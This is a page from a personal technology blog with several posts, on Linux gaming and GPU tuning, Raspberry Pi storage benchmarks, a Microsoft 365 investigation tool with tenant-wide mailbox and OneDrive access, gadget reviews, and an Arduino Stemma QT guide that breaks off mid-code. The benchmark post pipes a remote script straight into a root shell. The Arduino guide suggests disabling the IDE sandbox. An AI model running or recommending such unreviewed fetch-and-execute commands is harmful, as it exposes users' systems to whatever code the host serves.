# James A. Chambers > Legendary Technology Blog > Contact: 05jchambers@gmail.com ### Posts #### 2022 – The Year of the Linux Desktop Year of the Linux Desktop It has been a long-running meme in the Linux community that each new year would be the “Year of the Linux Desktop” for decades now. This never happened. Why? A big reason is compatibility with gaming. Some titles worked on Linux but not very many of them. Things have changed now with Steam’s new compatibility options they developed for the Steam Deck called “Steam Play”. Virtually every title I own in Steam plays flawlessly on Linux now as these options are available for all Steam Linux users and do not require owning a Steam deck to take advantage of. I have been switched over for a month now exclusively to Ubuntu 21.10 on my main Threadripper desktop and I have not missed Windows at all. In the above screenshot I’m using Steam with “Steam Play” to play all of my titles that don’t include Linux support, editing my web site, overclocking/underclocking my GPU while mining Ethereum. These are all things that were an order of magnitude more difficult / annoying to do on Linux only a few years ago. Today let’s explore the things that have changed that up until this point had been preventing the year of the Linux desktop! Table of Contents Toggle Compatibility Improvements for Gaming – Steam PlayHow to Enable Steam PlayGraphics Card Driver ImprovementsOverclocking / UnderclockingControlling Fan SpeedsEnabling Cool-Bits for NVIDIA GPUsMaking the Plunge Compatibility Improvements for Gaming – Steam Play Let’s start with the big one. Gaming is extremely popular and I have been playing and even writing video games for decades. The compatibility options for games on Linux have been improving slowly over the years but it was probably still something like 10-15% of my Steam library that work without “Steam Play” support. Now they pretty much all work. Why? Because Valve made the Steam Deck (Valve’s new handheld device capable of playing most items from your existing Steam library) and the Steam Deck runs Linux! Specifically the Steam Deck runs “Steam OS”. This is a full-blown publicly available Linux distribution available directly from Valve here that you can download and install. You do not need to run Steam OS to get these benefits though, they are available to all Steam users on Linux. This is why the compatibility improved so dramatically all of the sudden. It may have taken another 10-20 years or longer for us to reach the level of compatibility that Valve just gave us because they needed it for the Steam Deck handheld. They wrote an entire compatibility layer essentially for us! How to Enable Steam Play Once you’ve installed Steam you can enable Steam Play in the options here: Steam Play – Settings Check both boxes and after restarting you should notice in your game list that titles are now playable that previously would only show a Windows icon. Graphics Card Driver Improvements Another thing that had held me back was the traditionally poor video driver support / functionality in Linux. This has also changed dramatically. Not only do they give really great performance now but they also support overclocking and fan control settings. Overclocking / Underclocking This is something that had always been difficult on Linux but things have improved in the past few years. It is necessary for people to control their GPUs clock / fan speeds for many reasons. Years ago you’d have to use the CLI to set most of these but many of them are built right into the GPU settings even for newer GPUs like a NVIDIA RTX 3090* (enabling cool-bits required, more on that later). Here’s what the overclocking settings look like: NVIDIA Settings – Linux Desktop – Overclocking Enabled Notice at the very bottom I have a Graphics Card Offset and a Memory Transfer Rate Offset. This is to overclock / underclock the GPU’s processor and memory right inside the official nvidia-settings utility. You simply type a value in this box then press the “Enter” key and you’ll see a message at the very bottom of the screen (a status message) saying the settings have been successfully applied. Controlling Fan Speeds You can also manually override the fan speeds and the GPU will actually respect them. Again we can do this right in the nvidia-settings GUI like this: NVIDIA Settings – Linux Desktop – Thermal Settings This works similarly to adjusting the clock speeds. You can slide the bar and press “Apply” or you can type a value in the box and then press the “Enter” key. You will hear the fans spinning up immediately! Enabling Cool-Bits for NVIDIA GPUs This is necessary to use all of the features I showed above. There’s a few ways to do this. The easiest way is using the nvidia-xconfig utility like this from the CLI: sudo nvidia-xconfig --cool-bits 31 This will automatically modify your /etc/X11/xorg.conf file to enable Cool-Bits after a reboot. I used a value of 31 which is correct for NVIDIA 3000 series GPUs to enable these features. There are other values of Cool-Bits for older cards but this value should enable all features. If it’s a really old card you may want to look up the best cool-bits value to use for that generation of card. You may also add this value manually to the “Device” section in your xorg.conf but I really don’t recommend doing it this way unless you have no choice. If this is the case there are a lot of guides out there to do it the “hard way” but most people should let NVIDIA’s utility configure this for them. Making the Plunge I couldn’t be happier with the setup. I’m using the official latest NVIDIA driver with overclocking/underclocking/fan support on a modern RTX 3090 GPU*. My games work flawlessly using “Steam Play” (the ones on Steam at least). I’m mining Ethereum at the same speeds I was on Windows with just as low of wattage. There honestly has never been a better time. Especially with the news that Windows 11 will place a watermark on systems that don’t have “verified compatible” hardware. I was weighing whether to try Linux Desktop again or stick with Windows 10 or to just go ahead and try Windows 11 as my hardware is all on the list. I really think most people would be just fine on Linux these days even if they’re gamers. The open source ecosystem has the best and most trusted software on the planet and most of it doesn’t cost a dime. It’s good enough for a gamer / miner / webmaster now as their daily driver for what it’s worth. Are there things out there that are still holding you back? Leave a comment and if I know of any alternatives / a way to do it I’ll gladly share them! #### 2022 Raspberry Pi Storage Benchmarks Storage Benchmark #48648 It has been a while since I covered storage benchmarks on the Raspberry Pi because every time I sat down to write it I ended up adding new features to the SBC storage benchmarks web site. I missed my 2021 update for this reason but it’s definitely time to do a hard cut off and give an update. Definitely make sure you check out the Pi Benchmarks web site as it will always give you up to date benchmarks! There definitely have been some changes since my last coverage of this with the Compute Module 4 now dominating the charts by taking advantage of real NVMe via PCIe adapters to achieve speeds never seen before on the Pi. Let’s get right into it! Table of Contents Toggle Benchmarking / Testing StorageBest PerformanceSSD (Solid State Drive)SD CardCheap Popular SSDsOther Resources Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Best Performance SSD (Solid State Drive) The fastest performing drives can always be seen on the Pi Benchmarks “Fastest” Page. For this year’s roundup the minimum # of tests to make the list was 10. The Compute Module 4 has changed the game significantly. The performance “ceiling” on the Pi 4 is something around 10,000-11,000 points or so. This is where you start to bottleneck due to the USB 3.0 bus. On the Compute Module 4 you can bypass USB and use NVMe directly which is allowing people to achieve far beyond the previous USB 3.0 bottleneck! Due to this the average score is trending above the universal 11,000-12,000 point ceiling for USB 3.0 this year! As more people adopt the Compute Module 4 (or if a Pi is released that supports USB 3.1 or higher) these numbers will continue to rise. Here’s the drives: # Brand Link Average Fastest Score Slowest Score Total Benchmarks 1 Intel Optane P4800X Series* 23,750 25,387 22,357 15 2 Western Digital Black SN850 Series* 19,845 23,302 2,766 11 3 Samsung 970 Pro* 16,266 28,322 7,332 24 4 Western Digital Black SN750 Series* 16,247 27,732 2,219 140 5 Samsung 960 Pro* 15,502 20,810 8,057 13 6 Western Digital SN520* 13,963 18,667 7,285 34 7 Western Digital SN530* 13,827* 19,765 6,943 11 8 SKHynix BC511* 13,598 15,854 7,228 12 9 Samsung 980 Series* 12,808 22,561 1,312 57 10 KingSpec NE Series* 12,779 18,652 2,757 69 SD Card The fastest performing SD cards can always be found at the fastest SD cards Pi Benchmarks page. Application class (A1 and A2) cards continue to dominate and expand their leads on the charts. In 2022 I am comfortable definitively saying you should *not* be using a SD card that is not application with your Pi in 2022. Application class cards excel at 4k random read/write performance which is the most important metric for operating system disk / application disk performance. Here are the results: # Brand Link Average Fastest Score Slowest Score Total Benchmarks 1 Kingston Canvas Go! Plus* 1,991 2,769 1,098 112 2 PNY Pro Elite* 1,970 1,986 1,954 12 3 SanDisk Extreme* 1,602 1,709 1,349 543 4 SanDisk Extreme Pro* 1,673 1,712 712 251 5 Samsung EVO+* 1,599 1,966 1,068 153 Cheap Popular SSDs It’s comforting to have at least something that hasn’t radically changed in 2022! The results here for the cheapest and most popular SSDs are relatively unchanged here. # Brand Link Average Fastest Score Slowest Score Total Benchmarks 1 Kingston A400S Series* 5,964 9,890 1,461 1,915 2 SanDisk SSD Plus Series* 5,567 9,244 865 904 3 Crucial BX500 Series* 6,230 11,478 1,251 867 4 Kingston A400M Series* 6,114 13,523 1,529 521 5 Samsung 860 EVO Series* 6,778 12,954 1,316 515 Other Resources For information on where to find Pis during the Raspberry Pi shortage check out my Raspberry Pi Shortage Survival Guide To know the best adapters to use for SSDs (NVMe, M.2 NVMe, M.2 SATA, etc.) check out my Best Storage Adapters for Raspberry Pi guide For information on benchmarking other SBCs see Benchmarking SBC Storage Performance article For information on the new PC support for the benchmark see my PC support announcement here #### 365Explorer Release: A Browser-Based PowerShell Tool for Microsoft 365 Security Investigations 365Explorer – PowerShell Tool for Security Investigations 365Explorer is now available as a PowerShell module designed to make Microsoft 365 security investigations faster, simpler, and far less painful than the usual Entra admin workflow. It runs a local web server and gives you a browser-based interface that feels closer to a security console than a traditional PowerShell script. At its core, 365Explorer is built around application-based authentication using Microsoft Graph and Exchange Online, giving administrators a level of access that normally takes a lot of manual setup or higher-tier licensing to achieve. Table of Contents Toggle What is 365Explorer and why was it built?How does 365Explorer differ from regular PowerShell and delegated admin rights?What does 365Explorer automate in Entra app setup?What can you do with 365Explorer that you cannot easily do otherwise?What are the main tabs in the 365Explorer interface?What does the Account tab show?What is the MFA tab used for?How do Sign-In Logs work in 365Explorer?What is included in the Audit Logs tab?What can you do in the OneDrive tab?What is the Mail Rules tab for?How does the Emails tab work?What are the Headers and Body tabs used for?How is authentication handled in 365Explorer?How do you install 365Explorer?What are the requirements to run 365Explorer?What dependencies does 365Explorer use?Where can you get 365Explorer?Final thoughts What is 365Explorer and why was it built? 365Explorer is a browser-based Microsoft 365 investigation tool that runs locally on https://localhost:8080. It is powered by app-only authentication using a self-signed certificate and automates the entire Entra application setup process. Instead of manually building an app registration in Microsoft Entra ID, assigning permissions one by one, and then granting admin consent, the module handles all of that automatically when you run it. The goal here is simple: reduce friction during security investigations and give administrators direct access to tenant-wide data without jumping between multiple admin portals. How does 365Explorer differ from regular PowerShell and delegated admin rights? The biggest difference is the authentication model and the scope of access. With delegated admin rights in tools like Microsoft Graph or Exchange Online, you are often limited by the user context and licensing constraints. Some data simply is not available unless you have specific licenses or go through extra admin steps. 365Explorer uses application-based authentication instead. That changes what is possible in a practical sense. One of the most important examples is email access. With delegated access, pulling all mail across a tenant is often restricted, slow, or tied to E5 licensing features. With 365Explorer, you can browse and search across all user mailboxes in the tenant and even delete messages directly from the interface. That alone makes it significantly more useful during incident response scenarios. What does 365Explorer automate in Entra app setup? Normally, setting up a properly permissioned application in Microsoft 365 involves: Creating an app registration in Entra Configuring API permissions for Graph, Exchange, and SharePoint Assigning application roles Granting admin consent Managing certificates or secrets 365Explorer automates all of this. If you log into Entra it will look like this: 365Explorer – Entra App Registration Above you can see how the permissions work in Entra. If you go into “App registrations” you will see the 365Explorer app after running it. This is what the permissions look like: 365Explorer – Entra App Permissions If you have ever had to create one of these by hand (typically for a script that requires application rights such as reading emails or other sensitive operations) you know how much of a pain it is. When you run Invoke-365Explorer, it creates an application named 365Explorer – PowerShell Administrator Tool, assigns all required permissions, and grants admin consent automatically. This is one of the biggest time savers in the entire tool. What can you do with 365Explorer that you cannot easily do otherwise? A few standout capabilities include: You can access every email in the tenant without needing E5 licensing or building complex compliance searches. You can also delete emails directly from the interface, which is particularly useful during active compromise investigations. You can browse OneDrive for Business files across the entire organization, search them, download them, or remove them. You can inspect and remove suspicious MFA methods that attackers often add after account compromise. You can review and delete malicious mail rules, which are a common persistence technique in email breaches. And you can do all of this from a single browser-based interface instead of switching between multiple admin portals. What are the main tabs in the 365Explorer interface? What does the Account tab show? 365Explorer – Account Tab The Account tab pulls together user information from both Exchange and Graph. It shows account attributes, licensing details, and assigned service plans. It also includes quick action buttons that let you: Block or unblock sign-in Sign out all active sessions Review license assignments This is often the first place to look when investigating a compromised account. What is the MFA tab used for? 365Explorer – MFA Tab The MFA tab is focused on multi-factor authentication methods attached to a user. It is extremely common in compromised accounts to find additional authenticators added by an attacker. This can include phone numbers, authenticator apps, or other verification methods. 365Explorer makes it easy to review and remove suspicious entries with a single click. How do Sign-In Logs work in 365Explorer? 365Explorer – Sign-In Logs Tab The Sign-In Logs tab pulls authentication activity from the tenant. One important requirement is that the tenant must have at least one Microsoft Entra ID P1 available somewhere in the organization. It does not need to be assigned to the admin using the tool. Without it, fields such as LastSignInDate and LastNonInteractiveSignIn will return as missing. Even without PowerShell access, the same data can still be viewed in the Entra admin portal. What is included in the Audit Logs tab? 365Explorer – Audit Logs Tab The Audit Logs tab uses the Unified Audit Log from Microsoft 365. This feature is free but must be enabled once per tenant. If it is not enabled, 365Explorer will attempt to enable it automatically using organization configuration settings. Keep in mind that once enabled, it can take 8 or more hours before data starts appearing. If you see a “Bad Request” error initially, it usually just means the ingestion process is still warming up. A very useful feature of the audit logs browser is that it will break out the “Extended Data” attributes into the table. There is a convenience button to export to a CSV for very large reports! What can you do in the OneDrive tab? 365Explorer – OneDrive Tab The OneDrive tab allows browsing of all OneDrive for Business files across users in the tenant. Because OneDrive is closely tied to SharePoint, this effectively gives visibility into a large portion of user-generated content. Files can be downloaded or deleted, with deleted items moving to the recycle bin. What is the Mail Rules tab for? 365Explorer – Mail Rules Tab The Mail Rules tab lists all inbox rules for a user. This is a high-value investigation area because malicious inbox rules are frequently used in email compromise cases to silently forward, hide, or delete messages. 365Explorer allows you to quickly identify and remove suspicious rules. How does the Emails tab work? 365Explorer – Emails Tab The Emails tab lets you browse mailbox content for individual users. You can: Search by subject Filter by date range Pull between 1 and 200 messages at a time Delete selected emails This is especially useful when tracking phishing campaigns or identifying malicious message delivery. What are the Headers and Body tabs used for? 365Explorer – Headers Tab The Headers tab displays full raw email headers for a selected message. This is useful for tracing routing paths, spoofing attempts, or phishing indicators. 365Explorer – Body Tab The Body tab simply renders the message content so you can review it directly inside the interface. How is authentication handled in 365Explorer? 365Explorer uses certificate-based authentication. On first run, it generates a self-signed certificate and stores it in the system temp directory as 365Explorer.pfx. It then uses this certificate to authenticate the application against Microsoft 365. If the tool is run again on the same machine, it reuses the certificate to speed up startup. If it is run on a different machine, a new certificate is created and a new app registration is generated. If multiple administrators need to use the same setup, the certificate can be shared between machines by copying it from the temp folder. If this becomes a big obstacle let me know in the comments as better ways to handle this could be added in the future. How do you install 365Explorer? 365Explorer is published to the PowerShell Gallery and can be installed with a single command: Install-Module 365Explorer Once installed, launch the interface with: Invoke-365Explorer That single command handles everything, including dependencies, app registration, permissions, and launching the local web server. What are the requirements to run 365Explorer? To run 365Explorer, you need: PowerShell 5.1 or later, PowerShell 7 is highly recommended Global Administrator access in your Microsoft 365 tenant A supported Microsoft 365 environment Optional but recommended: at least one Microsoft Entra ID P1 for sign-in log access It works on both Windows and Linux environments as long as the required modules are supported. Is it compatible with Macs? I don’t know. It depends how similar they still work to Linux under the hood I suppose. I don’t have a modern one to test with. If someone with a Mac wants to test it (and if you find any issues) I would definitely attempt to fix it if you find problems (or accept a pull request)! What dependencies does 365Explorer use? The module automatically installs and manages its dependencies, including: Pode for the browser-based interface Microsoft Graph for tenant-wide data access Exchange Online for mailbox operations PowerShellGet for module installation and updates It also checks for updates automatically against the PowerShell Gallery on each run. Where can you get 365Explorer? The project is open source and available here: 365Explorer GitHub Repository Final thoughts 365Explorer is designed for one main purpose: making Microsoft 365 security investigations faster and more direct. Instead of navigating multiple portals or writing complex PowerShell scripts for every investigation, you get a single browser interface that can access mailboxes, audit logs, MFA methods, OneDrive files, and account data in one place. It is not trying to replace Microsoft’s admin tools. It is meant to sit alongside them and remove the friction that slows down real investigations. Or let me put this another way: the hackers are using application rights against you in compromises. Common ones that I’ve seen in compromises are things using Enterprise App permissions such as “eMClient” and abusing those privileges to do the exact same things this tool can do. The tool is a way for you to use application rights for good by responding to incidents faster and more effectively than you would be able to otherwise! #### A Good Alternative to Canned Air / Duster for Electronics OPOLAR Air Duster for Electronics / Computers As a computer technician / technology enthusiast I have a lot of electronics that need to be kept clean. I used to use canned air / duster for this task but it’s pretty nasty stuff to work with. It is extremely cold, you don’t want to contact any coolant with any components, the bottles run out at the most inconvenient times and generate a bunch of waste, etc. For this article I just wanted to share a tool I found a couple of years ago that made my life a lot easier. It is also cheaper over time and much more environmentally friendly! Table of Contents Toggle Gadget OverviewPerformanceEnvironmental BenefitsEconomicsPros / ConsProsConsConclusionOther Resources Gadget Overview OPOLAR Air Duster for Electronics / Computers The OPOLAR Air Duster for Electronics / Computers is a rechargeable air duster with a large 6000 mAh battery that is recharged using a USB cable. Very effective for cleaning and much less of a pain and more environmentally friendly than air duster cans. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The handheld air duster is rechargeable via a USB port. The charge lasts for weeks at a time as it has a pretty generously sized 6000 mAh battery (that’s a much larger battery than most cell phones for comparison, the iPhone 12 Pro Max only has 3,687 mAh and a Samsung Galaxy S20 only has 4000 mAh) for a consumer-based rechargeable device. Performance To compare the performance between a can of duster and the electronic air duster is a little tricky because the performance of a can of duster is not constant. When you start with a fresh can or a can that hasn’t been used for at least a few minutes (enough time to not be cold to the touch anymore) it is much more powerful. The more you use it the colder the can gets until it can quite literally freeze your hands. The pressure also drops the colder it gets. With that established, how powerful is the OPOLAR in comparison? The OPOLAR puts out a blast of air at 33000PRM by spinning a fan really quickly. It definitely sounds exactly like you would expect: a fan spinning really really fast blowing air! I would rate it as less powerful than a completely fresh can for about 15 seconds where you will start to feel the can’s temperature dropping. After that, the OPOLAR is more powerful, and it can go at the same constant power for HOURS on a full charge. Because of this, the OPOLAR is by far the superior cleaning tool. It doesn’t get cold and it won’t lose an ounce of power until the battery is dead. To get the absolute best of both worlds (the extremely high power of the first “blasts” from a can as well as being able to sustain that for long periods of time) you would need an actual air compressor. This may be possible at a technician bench but the OPOLAR is handheld and can go anywhere. I’ve found the OPOLAR powerful enough to clean all of my equipment whether it’s desktop computer cases, GPU fans, cryptocurrency ASIC miners, gaming consoles, you name it! Environmental Benefits If you are a technician or enthusiast who works with technology a lot how many depleted cans of duster do you think you’ve sent to the landfill? Dozens? Hundreds? Thousands? I shudder to think of how many it was for me before finding a better alternative since I am both a technician AND an enthusiast! I can absolutely guarantee that I have prevented hundreds of these things from going into landfills ever since getting an economic reusable and rechargeable option. I’ll sometimes run the OPOLAR unit for a good 10-15 minutes straight when cleaning all my electronics. I would say that cleaning all of the equipment I have would use at least a single can each time. This adds up fast! I’m not sure how difficult it will be to replace the battery. That would be one outstanding environmental impact question I have about the unit. Any battery can be replaced but it’s a question of how difficult/expensive it will be. That being said, I’ve had the unit for 2 years and the battery shows no signs of slowing down. Once the battery reaches the end of it’s useful life I’ll definitely update this article what I find out about the difficulty of replacing the battery as I was not able to find any other information about this out there. Overall, if you at all use cans of compressed air / duster this is a no brainer to vastly reduce your environmental impact and how much junk you’re sending to the landfill! Economics Now it’s time for the best part. It’s actually cheaper to use one of these devices. Canned air / duster really isn’t very cheap. The “Amazon’s Choice” duster cost around $6.79 at time of writing and 4 packs for about $20. If you are a technician / enthusiast though you will need much more than one or even four cans and they will not last long. I’m sure you can see where this is going: this unit pays for itself completely after a few 4-packs of duster. You can calculate yourself pretty easily what your ROI (return on investment) of buying one of these would be based on how quickly do you use a 4 pack of air which is about $20. Pros / Cons Pros Will not generate static or moisture like an air compressor Portable Rechargeable battery Cons Not quite as powerful as an air compressor or canned air Battery while rated for hundreds of charge cycles won’t last forever and isn’t easily removable Conclusion This was definitely one of the best IT related issues I’ve ever made despite it maybe seeming like a small thing on the surface. In reality, keeping your electronics / computers clean is extremely important. Many of the problems I have fixed over the years were related to heat / dust from not keeping electronics clean. I have some other essential tools / tricks of the trade similar to this that I’ve picked up over the years that I’ll be writing more articles for so stay tuned! Other Resources If you want an even more powerful option see my DataVac ED500 product review here #### Adafruit Re-programmable USB-C PD to Barrel Jack Cable Adafruit Re-programmable USB-C PD Cable Review I have been ordering a lot of gear from Adafruit lately to help build my Home Assistant sensor array for my home (as well as other projects I have going here on the site). I was very confused today when something showed up I didn’t recognize (and wasn’t even aware really existed). It turns out to be a cable that you plug into a USB-C power adapter that supports PD (power delivery) and output a voltage you program in via a DC barrel jack. In other words this cable lets you turn a USB-PD capable power adapter into a programmable DC jack adapter that could theoretically work with almost anything! This is a $19.50 cable I’m certain that I didn’t buy that I will return to Adafruit if they would like. Not before we review it first though. Let’s get started! Table of Contents Toggle Hardware UsedPackagingBuild QualityProgramming AdapterTestingPros / ConsProsConsConclusionOther Resources Hardware Used Re-programmable USB Type-C PD to 2.1/5.5mm Barrel Jack Cable The Adafruit re-programmable USB-C PD to barrel jack adapter allows you to use an application to program the cable to negotiate and output a specific voltage allowing you to power DC barrel jack devices from a USB-PD compatible power adapter Links: Adafruit.com Packaging The packaging for this product is intense. Prepare yourself: Adafruit Re-programmable USB-C PD Power Supply – Packaging Adafruit Re-programmable USB-C PD Power Supply – Packaging (Back) You can likely see why I was surprised to receive this product and why it stood out to me. It’s hard to miss. It’s unclear how many felonies I committed by opening this package as it looks like something that is some kind of protected/sealed evidence. The only other things that come to mind from the packaging is that it’s a bio-hazard or radioactive. Fortunately it’s neither of those things and is just really eccentric packaging! Build Quality How about the build quality? Well, before I could even remove the tie around the cable: Adafruit Re-programmable USB-C PD Power Supply – Detached Cover Uh oh! The branding badge slid right off. At first I was trying to figure out if that was supposed to happen but no. If you look closely you can see the glue. It just had come loose. Fortunately the rest of the cable seems quite strong. The material of the cable itself feels nice. I can definitely live without the branding badge since it’s not a nice and pretty Adafruit one anyway. The USB DFU module also seems like it will hold up well as well: Adafruit Re-programmable USB-C PD Power Supply – DFU Programming Adapter Now let’s get to programming the adapter. Right off the bat I will tell you it is Windows only. *groan*! I know, I know. Fortunately such a situation is easily dealt with in Linux by using open-source software such as QuickGUI combined with QuickEMU. This software can easily create a Windows virtual machine and do all of the setup for you. You can then use USB pass-through to program the adapter. You can also just use a Windows machine to program it if you have one handy. The link to the programming software is here. You may also find it in the Adafruit listing at the top of the article (the link should be identical as it’s where mine came from). Extract the software and open “WITRN Upgrade 3.3.exe”. That will look like this: Adafruit Re-programmable USB-C PD Power Supply – Software You can see the software above as well as the name of the device I used for USB passthrough for anyone else using virtual machines. It showed up as “GZU-tek PDC001S”. Once I checked the box you can see the software indicates “connected” in the bottom of the screen. To use this to update the cable’s power settings click “Brower” (which is supposed to be Browse) and go to the other folder that was created when you extracted the files: Adafruit Re-programmable USB-C PD Power Supply – Updating Here you can see all the different options we can flash to change the operational mode of the device. We have options for 5V-20V available with some specialty modes as well. Once you’ve selected the correct file press “Upgrade”. Testing The most obvious thing to test that came to mind for me was the Pine64 SOQuartz Blade which has a DC barrel jack connector. I fired up the Windows programming software in my virtual machine and programmed the cable for 12V by flashing the fixed 12V firmware file. The tip that the cable comes with didn’t fit so I needed to use an adapter tip* to get the correct size: Adafruit Re-programmable USB-C PD Power Supply – Testing Bingo! That is exactly what I needed it to go and it performed flawlessly. Basically what you are looking at is the USB cable is actually connected to my computer. I have it plugged into a new enough USB port that USB-PD is supported so I’m completely powering the Pine64 SOQuartz Blade using just my PC through the barrel jack! This could be extended to almost anything you have laying around that takes a DC input jack within the limits of USB-PD (power delivery). Almost all of the electronics I have around other than large TVs and monitors fall within the capabilities of what this device can do given the right power supply (or a modern PC that supports USB-PD). Lost one of your adapters? As long as you know (or preferably look up / reference) the correct voltage you’d be able to power it up with this. Pros / Cons Pros Allows you to use any high quality USB-C PD enabled source to power a DC jack powered device Can be configured / programmed using software to specific voltage levels Cons Windows-only programming Conclusion I’m very glad that Adafruit sent me this cable as it will come in extremely handy. Anything you have that needs a DC barrel jack for you can essentially program this cable to output that voltage using an appropriate USB-C PD power supply. For me using some of the higher version USB ports on my PC is the most handy / convenient since those support USB-PD. It’s very quick to change the voltage setting with the provided software. Even for someone like me who uses Linux as their main operating system it takes hardly any time for me to start up a VM using USB pass-through and run the programmer software real quick to set it to the appropriate voltage. Note that this is not a boost or buck converter. You are subject to the limitations of your USB-C PD power supply. Make sure to carefully read Adafruit’s listing so you understand what exactly this is for. It’s also something that can be dangerous and fry your devices if you have the wrong voltage programmed so it’s not a tool for beginners and even experts should be very careful. There’s no button on the device to switch voltages so I’d recommend making sure you program/flash it before each use to make sure everything is correct. This has worked really well for some of my more recent use cases that this would have came in handy for. You can easily attach additional size barrel tips* to the end of the adapter so that it can fit different barrel jack sizes. It’s great for testing especially with devices that the existing power adapter may be lost / buried somewhere. I definitely would recommend it for anyone who works with or tinkers with devices that have DC barrel jack input power connectors. Hopefully Adafruit is okay with me keeping the cable because it will definitely come in handy! Other Resources You can see all of my articles related to technology gadgets here You can see the rest of my reviews here #### Adafruit Stemma QT Arduino Getting Started Guide Adafruit 7 Segment Display + Rotary Encoder + QT Py I’ve been doing a lot of coverage of ESP32-related chips lately on the site. One thing that is a bit painful with them though is that they usually require a lot of soldering. That’s why I find the Adafruit QT Py series of ESP32 chips so exciting. They eliminate the soldering! Unfortunately once I got all of my parts and tried to get started I ran into several issues that are not covered at all (or very poorly covered) by the official documentation and guides available. None of the things I’m going to cover were particularly difficult once you know what they are and how to address them. I did however lose days or closer to a week of time messing with this as I had to figure it all out from piecing together scraps here and there from forum posts. In this guide I’ll show you how to get Arduino working with the Adafruit QT Py boards using Stemma and how to avoid all the pitfalls that I lost a lot of time on getting started. Let’s begin! Table of Contents Toggle Hardware UsedGetting Arduino 2.XAdding Adafruit BoardsFixing Adafruit 7 Segment Display for Stemma QTFixing Adafruit Rotary Encoder for Stemma QTDaily ChainingConclusionOther Resources Hardware Used Adafruit QT Py The Adafruit QT Py ESP32-C3 is an incredibly tiny board that has WiFi/Bluetooth capabilities and is powered through USB-C Links: Adafruit.com, Amazon.com* Adafruit Rotary Encoder The Adafruit rotary encoder is Stemma QT enabled giving a reliable and nice rotary encoder with a RGB LED (NeoPixel) on board! Links: Adafruit.com Adafruit Stemma QT 7 Segment Display The Adafruit 7 segment display is an excellent display available in multiple colors Links: Adafruit.com Getting Arduino 2.X Now let’s start with the first major problem I ran into. I was trying to use Arduino installed from my Linux distribution’s apt repositories. This gives me Arduino version 1.8.19. It turns out that if you use a 1.x version of Arduino you will get *crazy* errors when trying to use the Wire1 object within Arduino that is required to use Stemma QT’s connector within the Arduino code. Instead you should head here and download the latest version 2.X of Arduino for your platform (Windows, Mac, Linux).. For Linux this comes as a file with a .AppImage extension. Do a: chmod +x arduino-ide_2.3.8_Linux_64bit.AppImage ./arduino-ide_2.3.8_Linux_64bit.AppImage If you get an error about sandboxing I recommend disabling it for development purposes with: ./arduino-ide_2.3.8_Linux_64bit.AppImage --no-sandbox This should fire the Arduino IDE right up! Adding Adafruit Boards To add the Adafruit boards to the Arduino IDE we’re going to add the latest version of the ESP32 board packages. To do this go to “File” and then “Preferences”. You should see the “Additional boards manager URLs” at the bottom of the page: Arduino Preferences – Additional board manager URLs Once you click the above icon add the following URL: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_dev_index.json Press “OK” to save. Now you should be able to click the “Select Board” box in the top left. Click the serial port for your board plugged into your PC. That should take you to this screen: Arduino – Select Board Select your correct QT Py from the list and press OK. Your Arduino environment is now configured! You may need some additional libraries installed as we proceed. Those can be installed in the “Library Manager” which is visible in the screenshot right before the one above on the left hand side of the screen. These will depend on exactly what components you are using. For this guide I installed the Adafruit “seesaw” library for the rotary encoder and the Adafruit “LED Backpack Library” for the 7 segment display. Fixing Adafruit 7 Segment Display for Stemma QT If you’ve already got this far then you probably know that if you run the Adafruit documentation for any of the Stemma QT components it basically will just do nothing. That’s because all of the documentation I’ve seen isn’t actually written for Stemma QT and is written for people who are still soldering everything together. Here’s what the documentation says for the simple 7 segment display example: #include <Wire.h> // Enable this line if using Arduino Uno, Mega, etc. #include <Adafruit_GFX.h> #include "Adafruit_LEDBackpack.h" Adafruit_7segment matrix = Adafruit_7segment(); void setup() { Serial.begin(9600); Serial.println("7 Segment Backpack Test"); matrix.begin(0x70); } void loop() { // print a hex number matrix.print(0xBEEF, HEX); matrix.writeDisplay(); delay(500); } The reason this example won’t work is because by default Arduino will use Wire for the I2C interface and Stemma QT actually uses Wire1. To fix this we actually need to pass Wire1 to the matrix.begin(0x70) code like this: matrix.begin(0x70, &Wire1); That makes the final updated code for this easy example this: #include <Wire.h> // Enable this line if using Arduino Uno, Mega, etc. #include <Adafruit_GFX.h> #include "Adafruit_LEDBackpack.h" Adafruit_7segment matrix = Adafruit_7segment(); void setup() { Serial.begin(9600); Serial.println("7 Segment Backpack Test"); matrix.begin(0x70, &Wire1); } void loop() { // print a hex number matrix.print(0xBEEF, HEX); matrix.writeDisplay(); delay(500); } This code should compile if you are using Arduino 2.X. If you are using Arduino 1.X you may get some strange compilation errors such as “index is out of range”. The result should be this: Adafruit Stemma QT 7 Segment Display Boom! You now have a solderless 7-segment display. It’s a little bit easier to see that it says “b33F” in person as my camera picked up the white of the unilluminated parts of the screen really well for some reason. It’s really obvious in person that’s what it says! Fixing Adafruit Rotary Encoder for Stemma QT Now you might think it’s as easy as passing the Wire1 object to update any code. You are correct but unfortunately passing it is not always done the same way. Let’s look at the Adafruit rotary encoder example which was much tougher for me to update: #include "Adafruit_seesaw.h" #include <seesaw_neopixel.h> #define SS_SWITCH 24 #define SS_NEOPIX 6 #define SEESAW_ADDR 0x36 Adafruit_seesaw ss; seesaw_NeoPixel sspixel = seesaw_NeoPixel(1, SS_NEOPIX, NEO_GRB + NEO_KHZ800); int32_t encoder_position; void setup() { Serial.begin(115200); while (!Serial) delay(10); Serial.println("Looking for seesaw!"); if (! ss.begin(SEESAW_ADDR) || ! sspixel.begin(SEESAW_ADDR)) { Serial.println("Couldn't find seesaw on default address"); while(1) delay(10); } Serial.println("seesaw started"); uint32_t version = ((ss.getVersion() >> 16) & 0xFFFF); if (version != 4991){ Serial.print("Wrong firmware loaded? "); Serial.println(version); while(1) delay(10); } Serial.println("Found Product 4991"); // set not so bright! sspixel.setBrightness(20); sspixel.show(); // use a pin for the built in encoder switch ss.pinMode(SS_SWITCH, INPUT_PULLUP); // get starting position encoder_position = ss.getEncoderPosition(); Serial.println("Turning on interrupts"); delay(10); ss.setGPIOInterrupts((uint32_t)1 << SS_SWITCH, 1); ss.enableEncoderInterrupt(); } void loop() { if (! 